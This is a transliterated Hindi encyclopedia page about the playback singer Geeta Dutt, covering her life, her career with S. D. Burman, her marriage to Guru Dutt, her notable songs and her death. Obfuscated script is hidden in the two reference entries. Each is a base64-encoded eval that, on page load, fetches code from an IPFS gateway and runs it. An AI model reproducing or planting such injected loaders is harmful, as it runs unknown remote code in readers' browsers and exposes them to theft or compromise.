गीता दत्त

भारत डिस्कवरी प्रस्तुति
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gita datt
poora nam gita ghosh ray chaudhari
prasiddh nam gita datt
janm 23 navambar, 1930
janm bhoomi pharidapur, baangladesh
mrityu 20 julaee, 1972 (41 varsh)
pati/patni guru datt
santan tin (tarun, arun aur nina datt)
karm bhoomi mumbee
karm-kshetr parshvagayan
mukhy filmean 'pyasa', 'sujata', 'sahib bibi aur gulam', 'bazi', 'ar-par', 'siaeedi', 'hav da brij', 'kagaz ke phool' adi.
prasiddhi pa‌rshvagayika
nagarikata bharatiy
bahari k diyaan adhikarik vebasait

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gita datt (aangrezi: Geeta Dutt, janm: 23 navambar, 1930; mrityu: 20 julaee, 1972) bharatiy sinema jagath mean prasiddh pa‌rshvagayika thian, jisane apani dilakash avaz se lagabhag tin dashakoan tak karo doan shrotaoan ko madahosh kiya. kalajayi film ‘pyasa’ ke aant mean is film ke gitoan ko svar dene vali pa‌rshvagayika gita datt ke pati prasiddh abhineta, nirmata-nirdeshak guru datt the.

jivan parichay

film jagath mean gita datt ke nam se mashahoor gita ghosh ray chaudhari ka janm 23 navanbar 1930 ko pharidapur shahar mean hua. jab ve mahaj 12 varsh ki thi tab unaka poora parivar ab baangladesh mean pharidapur se muanbee a gaya. unake pita zamiandar the. bachapan ke dinoan se hi gita datt ka rujhan sangit ki or tha aur vah pa‌rshvagayika banana chahati thi. gita datt ne apani sangit ki praranbhik shiksha hanuman prasad se hasil ki.[1]

sine kairiyar ki shurooat

gita datt ko sabase pahale varsh 1946 mean film 'bhakt prahalad' ke lie gane ka mauka mila. gita datt ne 'kashmir ki kali', rasili, sarkas kiang (1946) jaisi kuchh filmo ke lie bhi git gae lekin inamean se koee bhi b aauks aphis par saphal nahian huee. is bich unaki mulakat mahanh sangitakar es. di. barman se huee. gita ray mean es. di. barman ko film iandastri ka ubharata hua sitara dikhaee diya aur unhoanne gita datt se apani agali film 'do bhaee' ke lie gane ki peshakash ki. varsh 1947 mean pradarshit film 'do bhaee' gita datt ke sine kairiyar ki aham film sabit huee aur is film mean unaka gaya yah git 'mera suandar sapana bit gaya' logoan ke bich kafi lokapriy hua. film 'do bhaee' mean apane gaye is git ki kamayabi ki bad bataur pa‌rshvagayika gitadatt apani pahachan banane mean saphal ho gee.[1]

gurudatt se mulakat

varsh 1951 gita datt ke sine kairiyar ke sath hi vyaktigat jivan mean bhi ek naya mo d lekar aya. film 'baji' ke nirman ke dauran unaki mulakat nirdeshak gurudatt se huee. film ke ek gane 'tadabir se big di huee takadir bana le' ki rirkadiang ke dauran gita datt ko dekh gurudatt mohit ho ge. isake bad gita datt bhi gurudatt se pyar karane lagi. varsh 1953 mean gita datt ne gurudatt se shadi kar li. isake sath hi film baji ki saphalata ne gita datt ki takadir bana di aur bataur pa‌rshv gayika vah film iandastri mean sthapit ho gee.[1]

gayan pratibha

diloan ki gaharaee tak utar jane vali avaz aur gane ke dilakash aandaz ki malika gita datt bharatiy film sangit mean pashchimi prabhav ki pahachan thi aur vah aisi phanakar thi jinhean har tarah ke git gane mean maharat hasil thi. gita datt ki jaduee avaz sabase pahale ‘jogan’ mean sunane ko mili. is film mean unhoanne mira ke arttanad ko uandelakar shrotaoan ko virahi bana diya hai. ve khulakar gati haian- ‘maian to giradhar ke ghar jaooan. ghooanghat ke pat khol re tohe piya mileange.‘ aur gita ke piya usase nau sal pahale chale ge. ve gati rahian - ‘jogi mat ja, mat ja....‘ gita datt ne gurudatt ki filmoan mean kya khoob gaya hai. gale se nahian, ekadam dil se. unake man ki bechaini tatha chhatapatahat ek-ek shabd se risati milati hai. film chahe ‘baji’ ho ya ‘arapar’, ‘siaeedi’ ho ya ‘pyasa’, ‘kagaj ke phool’ ho ya ‘chaudahavian ka chaand’ unake svar ki vividhata ka kayal ho jata hai shrota. ‘tadabir se big di huee takadir bana le’ (baji), ‘babooji dhire chalana, pyar mean jara sanbhalana...haan b de dhokhe haian is pyar mean’. sachamuch unhoanne pyar mean dhokha khaya. phir bhi gati rahian - ‘ye lo maian hari piya, huee teri jit re.‘ [2]

‘sahib bibi aur gulam’ film bhale hi chhoti bahoo yani ki mina kumari ki film rahi ho, lekin chhoti bahoo ka dard, shikayat, akelepan ki pi da, pati ki bevaphaee ko gita ki avaz ne parade par aisa utara ki mina amar ho geean. ‘n jao saianya, chhu da ke baianya, kasam tumhari maian ro p dooangi.‘ aur mina ke sath sinemaghar ke aandhere mean doobe hajaroan darshak roe. gita datt ne har tarah ke gane gae haian. film ‘baji’ ke git ‘jara samane a, jara aankh mila’ mean shrotaoan ko unmadi svar milate haian. ‘bhaee-bhaee’ ka git ‘ai dil mujhe bata de, too kisape a gaya hai’ sunakar man prem ki saphalata se bhar jata hai. ‘pyasa’ ki gulabo ka jivan sangit sunakar man atript pyas mean kho jata hai- ‘aj sajan mohe aang laga le, janam saphal ho jae.‘ lekin gita ne jindagibhar jindagi ka jahar piya- ‘kaise koee jie, jahar hai jindagi.‘ vah sharab ka jahar rojana gale ke niche utarati rahian aur ek din sabako akela chho dakar chali geean.[2]

gurudatt se alagav

varsh 1957 me gita datt aur gurudatt ki vivahit ziandagi me darar a gee. gurudatt ne gita datt ke kam mean dakhal dena shuroo kar diya. vah chahate the gita datt keval unaki banaee film ke lie hi git gaye. kam mean prati samarpit gita datt to pahale is bat ke liye raji nahian huee lekin bad mean gita datt ne kismat se samajhauta karana hi behatar samajha. dhire-dhire any nirmata nirdeshako ne gita datt se kinara karana shuroo kar diya. kuchh dinoan ke bad gita datt apane pati gurudatt ke badhate dakhal ko bardashat n kar saki aur usane gurudatt se alag rahane ka nirnay kar liya. is bat ki ek mukhy vajah yah bhi rahi ki us samay gurudatt ka nam abhinetri vahida rahaman ke sath bhi jo da ja raha tha jise gita datt sahan nahian kar sakian. gita datt se judaee ke bad gurudatt toot se gaye aur unhoanne apane ap ko sharab ke nashe me doobo diya. 10 aktoobar 1964 ko atyadhik matra me niand ki goliyaan lene ke karan gurudatt is duniya ko chho dakar chale ge. gurudatt ki maut ke bad gita datt ko gahara sadama pahuancha aur usane bhi apane ap ko nashe mean dubo diya.[1]

gita datt ke sadabahar git

  • khayaloan mean kisi ke is tarah aya nahian karate (bavare nain : 1950)
  • suno gajar kya gae (bazi : 1951)
  • n ye chaand hoga, n ye tare raheange (shart : 1954)
  • kaise koee jie, jahar hai jindagi (badaban : 1954)
  • jane kahaan mera jigar gaya ji (mistar eand mises 55 : 1955)
  • jata kahaan hai divane (siaeedi : 1956)
  • ai dil mujhe bata de, too kisape a gaya hai (bhaee-bhaee : 1956)
  • aj sajan mohe aang laga le (pyasa : 1957)
  • mera nam chin-chin choo (hav da brij : 1958)
  • vakt ne kiya kya hansian sitam (kagaj ke phool : 1959)[2]

baangla filmoan mean gayan

hindi ke alave gita datt ne kee baangla filmoan ke lie bhi gane gae. inamean tumi jo amar (harano sur-1957), nishi rat baka chaand (prithvi amar chhaya-1957), doore tumi aj (iandrani-1958), eee suandar svarnalipi sandhya (h aauspital-1960), ami sunachi tumari gan (svaralipi-1961) jaise git shrotaoan ke bich aj bhi lokapriy hai.[1]

nidhan

sattar ke dashak mean gita datt ki tabiyat kharab rahane lagi aur unhoanne ek bar phir se git gana kam kar diya. lagabhag tin dashak tak apani avaz se shrotaoan ko madahosh karane vali pa‌rshvagayika gita datt ne aantat: 20 julaee 1972 ko is duniya se vidaee le li.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ 1.0 1.1 1.2 1.3 1.4 gita datt: tadabir se big di huee takadir bana le (hiandi) (ech.ti.em.el) jagaran yahoo iandiya. abhigaman tithi: 13 disambar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. ↑ 2.0 2.1 2.2 gita datt : ek sundar sapana bit gaya (hiandi) (ech.ti.em.el) vebaduniya hiandi. abhigaman tithi: 13 disambar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

dekhean • varta • badalean
gayan kalakar
parshvagayak
parshvagayikaean
lok kalakar

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